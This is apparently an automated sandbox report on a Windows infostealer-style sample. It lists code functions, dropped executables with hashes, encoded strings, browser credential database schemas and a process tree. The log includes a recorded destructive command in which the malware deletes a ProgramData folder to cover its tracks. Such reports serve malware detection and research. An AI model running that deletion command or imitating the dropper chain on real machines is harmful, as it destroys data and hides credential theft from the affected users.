Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C19B970 3_2_6C19B970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1BB170 3_2_6C1BB170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C15D960 3_2_6C15D960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C185190 3_2_6C185190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1A2990 3_2_6C1A2990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C17D9B0 3_2_6C17D9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C14C9A0 3_2_6C14C9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C189A60 3_2_6C189A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1BBA90 3_2_6C1BBA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C15CAB0 3_2_6C15CAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1B2AB0 3_2_6C1B2AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1422A0 3_2_6C1422A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C174AA0 3_2_6C174AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C188AC0 3_2_6C188AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C161AF0 3_2_6C161AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C18E2F0 3_2_6C18E2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C18D320 3_2_6C18D320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C145340 3_2_6C145340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C15C370 3_2_6C15C370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C14F380 3_2_6C14F380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1B53C8 3_2_6C1B53C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C2CAC30 3_2_6C2CAC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C2B6C00 3_2_6C2B6C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1FAC60 3_2_6C1FAC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1EECC0 3_2_6C1EECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C24ECD0 3_2_6C24ECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C378D20 3_2_6C378D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C2BED70 3_2_6C2BED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C31AD50 3_2_6C31AD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1F4DB0 3_2_6C1F4DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C286D90 3_2_6C286D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C37CDC0 3_2_6C37CDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C2D0E20 3_2_6C2D0E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C28EE70 3_2_6C28EE70
Source: C:\ProgramData\KKEBKJJDGH.exe Code function: 7_2_02830E48 7_2_02830E48
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Code function: 8_2_009728B9 8_2_009728B9
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Code function: 8_2_00976AE1 8_2_00976AE1
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Code function: 8_2_00970E48 8_2_00970E48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0040F870 13_2_0040F870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00401000 13_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0040A0C0 13_2_0040A0C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0040E080 13_2_0040E080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00415081 13_2_00415081
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0040B150 13_2_0040B150
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00431167 13_2_00431167
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0044A120 13_2_0044A120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00409269 13_2_00409269
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_004082A0 13_2_004082A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0043F2AC 13_2_0043F2AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_004362B0 13_2_004362B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00401379 13_2_00401379
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_004483F0 13_2_004483F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_004013BC 13_2_004013BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00409442 13_2_00409442
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0042D4B0 13_2_0042D4B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00436560 13_2_00436560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0042F5D0 13_2_0042F5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_004015DE 13_2_004015DE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0040A5E0 13_2_0040A5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0042C5E3 13_2_0042C5E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00428581 13_2_00428581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00403660 13_2_00403660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00410690 13_2_00410690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_004487D0 13_2_004487D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00447870 13_2_00447870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_004378C0 13_2_004378C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00407900 13_2_00407900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0040C9D0 13_2_0040C9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0041DACA 13_2_0041DACA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00406B60 13_2_00406B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00437B70 13_2_00437B70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0042CB0F 13_2_0042CB0F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0042ABF9 13_2_0042ABF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00443B90 13_2_00443B90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0040BC60 13_2_0040BC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0040ACC0 13_2_0040ACC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00426D6F 13_2_00426D6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00447D70 13_2_00447D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0042CD08 13_2_0042CD08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00412D20 13_2_00412D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00404DB0 13_2_00404DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00449E50 13_2_00449E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00413E12 13_2_00413E12
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00410ED0 13_2_00410ED0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0043DF50 13_2_0043DF50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00406F00 13_2_00406F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00408FCE 13_2_00408FCE
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\ProgramData\EBGDHJECFC.exe 0A6A258BFDB9B1947F2945B44E274FF3F06A7C5C733FF83C2A71C5F911FA9CC0
Source: Joe Sandbox View Dropped File: C:\ProgramData\KKEBKJJDGH.exe 2A7CDB79045658B9C02EBBB159E5B3680D7D6D832DBD757572F7D202C3FA935D
Found potential string decryption / allocating functions
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 004047E8 appears 38 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 6C3709D0 appears 33 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 00410609 appears 71 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 004104E7 appears 36 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 0041C710 appears 153 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 6C17CBE8 appears 134 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 6C1894D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 0040C7C0 appears 50 times
One or more processes crash
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5776 -s 944
PE / OLE file has an invalid certificate
Source: file.exe Static PE information: invalid certificate
PE file does not import any functions
Source: freebl3.dll.3.dr Static PE information: No import functions for PE file found
PE file overlay found
Source: freebl3.dll.3.dr Static PE information: Data appended to the last section found
Sample file is different than original file name gathered from version info
Source: file.exe, 00000000.00000002.2066450733.0000000000D6E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameclr.dllT vs file.exe
Source: file.exe Binary or memory string: OriginalFilenameVQP.exe< vs file.exe
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: file.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: EBGDHJECFC.exe.3.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 66f4247d51812_lfdsjna[1].exe.3.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: KKEBKJJDGH.exe.3.dr, -Module-.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 66f424e80b9cc_idsmds[1].exe.3.dr, -Module-.cs Cryptographic APIs: 'TransformFinalBlock'
Source: MFDBG.exe.7.dr, -Module-.cs Cryptographic APIs: 'TransformFinalBlock'
Source: FDWDZ.exe.8.dr, -Module-.cs Cryptographic APIs: 'TransformFinalBlock'
Source: KKEBKJJDGH.exe.3.dr, QXV0b1NldHVwQUFB.cs Base64 encoded string: 'SP3DikImXrLjXqSGQsSe2vRYRkPQs37w5lXXpehDe/REqetzhIvbN6DFRW/dKlYJ', 'yAbZvp6jLitNltmgUkh0TEM3St7v9GH+q9tfw2jGMF6iMFtepkj2kg==', 'yAbZvp6jLitNltmgUkh0TEM3St7v9GH+q9tfw2jGMF6iMFtepkj2kg=='
Source: 66f424e80b9cc_idsmds[1].exe.3.dr, QXV0b1NldHVwQUFB.cs Base64 encoded string: 'SP3DikImXrLjXqSGQsSe2vRYRkPQs37w5lXXpehDe/REqetzhIvbN6DFRW/dKlYJ', 'yAbZvp6jLitNltmgUkh0TEM3St7v9GH+q9tfw2jGMF6iMFtepkj2kg==', 'yAbZvp6jLitNltmgUkh0TEM3St7v9GH+q9tfw2jGMF6iMFtepkj2kg=='
Source: MFDBG.exe.7.dr, QXV0b1NldHVwQUFB.cs Base64 encoded string: 'SP3DikImXrLjXqSGQsSe2vRYRkPQs37w5lXXpehDe/REqetzhIvbN6DFRW/dKlYJ', 'yAbZvp6jLitNltmgUkh0TEM3St7v9GH+q9tfw2jGMF6iMFtepkj2kg==', 'yAbZvp6jLitNltmgUkh0TEM3St7v9GH+q9tfw2jGMF6iMFtepkj2kg=='
Source: FDWDZ.exe.8.dr, QXV0b1NldHVwQUFB.cs Base64 encoded string: 'SP3DikImXrLjXqSGQsSe2vRYRkPQs37w5lXXpehDe/REqetzhIvbN6DFRW/dKlYJ', 'yAbZvp6jLitNltmgUkh0TEM3St7v9GH+q9tfw2jGMF6iMFtepkj2kg==', 'yAbZvp6jLitNltmgUkh0TEM3St7v9GH+q9tfw2jGMF6iMFtepkj2kg=='
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@24/1064@14/11
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1A7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree, 3_2_6C1A7030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004114A5 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle, 3_2_004114A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00411807 __EH_prolog3_catch_GS,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,CoSetProxyBlanket,VariantInit,FileTimeToSystemTime,GetProcessHeap,HeapAlloc,wsprintfA,VariantClear, 3_2_00411807
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess180
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5576:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1984:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2612:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5776
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\Users\user\AppData\Local\Temp\delays.tmp Jump to behavior
Source: file.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: file.exe Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: RegAsm.exe, 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3211109382.0000000020458000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3148077911.000000001A4E0000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: RegAsm.exe, 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3211109382.0000000020458000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3148077911.000000001A4E0000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: RegAsm.exe, 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3211109382.0000000020458000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3148077911.000000001A4E0000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: RegAsm.exe, 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3211109382.0000000020458000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3148077911.000000001A4E0000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: RegAsm.exe, 00000003.00000002.3211109382.0000000020458000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3148077911.000000001A4E0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: RegAsm.exe, 00000003.00000002.3211109382.0000000020458000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3148077911.000000001A4E0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: RegAsm.exe, RegAsm.exe, 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3211109382.0000000020458000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3148077911.000000001A4E0000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3211109382.0000000020458000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3148077911.000000001A4E0000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: RegAsm.exe, 00000003.00000002.3211109382.0000000020458000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3148077911.000000001A4E0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: DGCFHI.3.dr, FIDHIE.3.dr Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: RegAsm.exe, 00000003.00000002.3211109382.0000000020458000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3148077911.000000001A4E0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: RegAsm.exe, 00000003.00000002.3211109382.0000000020458000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3148077911.000000001A4E0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;
Source: file.exe ReversingLabs: Detection: 36%
Source: unknown Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\ProgramData\KKEBKJJDGH.exe "C:\ProgramData\KKEBKJJDGH.exe"
Source: C:\ProgramData\KKEBKJJDGH.exe Process created: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe "C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe"
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process created: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe "C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe" --checker
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\ProgramData\EBGDHJECFC.exe "C:\ProgramData\EBGDHJECFC.exe"
Source: C:\ProgramData\EBGDHJECFC.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\EBGDHJECFC.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe "C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe"
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5776 -s 944
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe "C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe"
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 180 -s 948
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\AEBAKJDGHIIJ" & exit
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\ProgramData\KKEBKJJDGH.exe "C:\ProgramData\KKEBKJJDGH.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\ProgramData\EBGDHJECFC.exe "C:\ProgramData\EBGDHJECFC.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\AEBAKJDGHIIJ" & exit Jump to behavior
